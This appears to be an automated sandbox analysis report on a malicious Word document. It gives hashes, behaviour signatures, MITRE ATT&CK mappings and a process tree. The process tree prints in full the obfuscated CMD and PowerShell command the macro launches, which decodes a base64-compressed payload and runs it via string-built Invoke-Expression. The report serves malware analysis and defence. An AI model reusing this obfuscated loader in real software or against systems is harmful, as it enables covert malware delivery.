94de7534a45275daa06e0189c6bd06ca41176b3da93303b5fae677ae92cbb92d

General

Target

fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc
Size

75KB
MD5

fb805a5139efa1580dae6829b24b7078
SHA1

0d13a6d0c94b946882de78c7e6507b76e650033d
SHA256

94de7534a45275daa06e0189c6bd06ca41176b3da93303b5fae677ae92cbb92d
SHA512

565189a818df059c69c417361ec86a7bfe9c1bdf0628fbef1aeefcdd6bc5e59c3a7f29e1e60ae21ddea3f88ec232fa5f56661401452549cb3fc9fcbad17ff2a4
SSDEEP

768:0cWVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9k2p1qrOhdrCv+Y:0pocn1kp59gxBK85fBt+a9yOhg

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2376	2980	CMD.exe	WINWORD.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

3 2824 powershell.exe
4 2824 powershell.exe
5 2824 powershell.exe
7 2824 powershell.exe
9 2824 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2824 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE

flow	pid	process
3	2824	powershell.exe
4	2824	powershell.exe
5	2824	powershell.exe
7	2824	powershell.exe
9	2824	powershell.exe

pid	process
2824	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exeWINWORD.EXECMD.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe

Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2980 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2824 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2824 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2980 WINWORD.EXE
2980 WINWORD.EXE

pid	process
2980	WINWORD.EXE

pid	process
2824	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2824	powershell.exe

pid	process
2980	WINWORD.EXE
2980	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WINWORD.EXECMD.exe

description	pid	process	target process
PID 2980 wrote to memory of 2704	2980	WINWORD.EXE	splwow64.exe
PID 2980 wrote to memory of 2704	2980	WINWORD.EXE	splwow64.exe
PID 2980 wrote to memory of 2704	2980	WINWORD.EXE	splwow64.exe
PID 2980 wrote to memory of 2704	2980	WINWORD.EXE	splwow64.exe
PID 2980 wrote to memory of 2376	2980	WINWORD.EXE	CMD.exe
PID 2980 wrote to memory of 2376	2980	WINWORD.EXE	CMD.exe
PID 2980 wrote to memory of 2376	2980	WINWORD.EXE	CMD.exe
PID 2980 wrote to memory of 2376	2980	WINWORD.EXE	CMD.exe
PID 2376 wrote to memory of 2824	2376	CMD.exe	powershell.exe
PID 2376 wrote to memory of 2824	2376	CMD.exe	powershell.exe
PID 2376 wrote to memory of 2824	2376	CMD.exe	powershell.exe
PID 2376 wrote to memory of 2824	2376	CMD.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fb805a5139efa1580dae6829b24b7078_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2980

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2704

C:\Windows\SysWOW64\CMD.exe
CMD cMd.ExE /C "SeT mPQT=. ( $psHome[4]+$PShomE[30]+'X') (NEw-ObjEcT Io.cOMpRESsION.DefLAtesTREAm([SYstem.Io.mEMorYstREAm] [SYStEM.cOnvErT]::FRoMbASE64sTriNG('NZDRTgIxEEV/ZR+alA3SxicNzSYkiBskggYTNfGllMGtdDt1W7Yi2X+3S+T1nsmZO0MWD2VhIY5w8wUqZEsI7BU2U6PBBkG+1aKgVQhuzLnRaCuswR99gJpVB/64fts5P/nnMUbm0RzRMoU1kw2XzxfWKmx8UifAoxsptCH5+cEZlFvPn1pXXkY/vTRJIYG790u2xVpbPO806ne6mpWUrZ3RYUAnNBdkXb5kRUZvbq+pIFGvCgK2HaeWbkg/6LDnQ8rgB6jYYQNSVQOynMVM26w/MT+F5ngi6RXsDqPtO91rA+eZq6wX5mJuW9zDaJ6k50RskmcvOiWDqk5d9wc='), [systeM.Io.COMpResSiOn.coMPREsSiOnMoDE]::dECoMPrEss) ^| fOrEaCH-oBJEcT{NEw-ObjEcT SyStEm.io.StrEAmReAdER( $_ , [TExt.EncODing]::AsciI )} ).ReaDtOeNd( ) && PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) ^| ^& ( ( ^&( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )"
2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2376

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PoWerSHelL Set-item ( 'va' +'RIablE:MY' + 'A' ) ([tYPe]( \"{0}{2}{3}{1}\" -F'E','eNt','n','viRONM' ) ) ; ( $MYa::( \"{0}{1}{3}{5}{2}{6}{4}\"-f 'GETENv','Ir','Ent','On','RIaBLe','m','vA' ).Invoke( ( \"{1}{0}\"-f 'qt','Mp' ),(\"{0}{2}{1}\" -f'pR','s','OCES' ) )) | & ( ( &( \"{1}{2}{0}\"-f 'le','v','ARiab') ( \"{0}{1}\" -f '*mdR','*' )).\"N`AMe\"[3,11,2]-join'' )
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
fec92b7dd8d5b2421c91670b75bf9af4

SHA1
9a5a60e77ba6302e79142c44b711da9a4bdc2199

SHA256
298931fc2a30362bde0c34ccb00dab058eff289dd67556cd47b5a9570a11f856

SHA512
98d2abbd66e328611486808ebd3f0c8bda01fa4e73be12748beb10bbee80ab542b4f5f29cdfc134fbfeaec7a100be8d69e5e0bd08e0f2df30f5785b12ee394f8

Download Submit
memory/2980-0-0x000000002F4F1000-0x000000002F4F2000-memory.dmp

Filesize
4KB

Download
memory/2980-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2980-2-0x0000000070CCD000-0x0000000070CD8000-memory.dmp

Filesize
44KB

Download
memory/2980-5-0x0000000000840000-0x0000000000940000-memory.dmp

Filesize
1024KB

Download
memory/2980-6-0x0000000000840000-0x0000000000940000-memory.dmp

Filesize
1024KB

Download
memory/2980-7-0x0000000000840000-0x0000000000940000-memory.dmp

Filesize
1024KB

Download
memory/2980-15-0x0000000070CCD000-0x0000000070CD8000-memory.dmp

Filesize
44KB

Download
memory/2980-16-0x0000000000840000-0x0000000000940000-memory.dmp

Filesize
1024KB

Download
memory/2980-32-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2980-33-0x0000000070CCD000-0x0000000070CD8000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads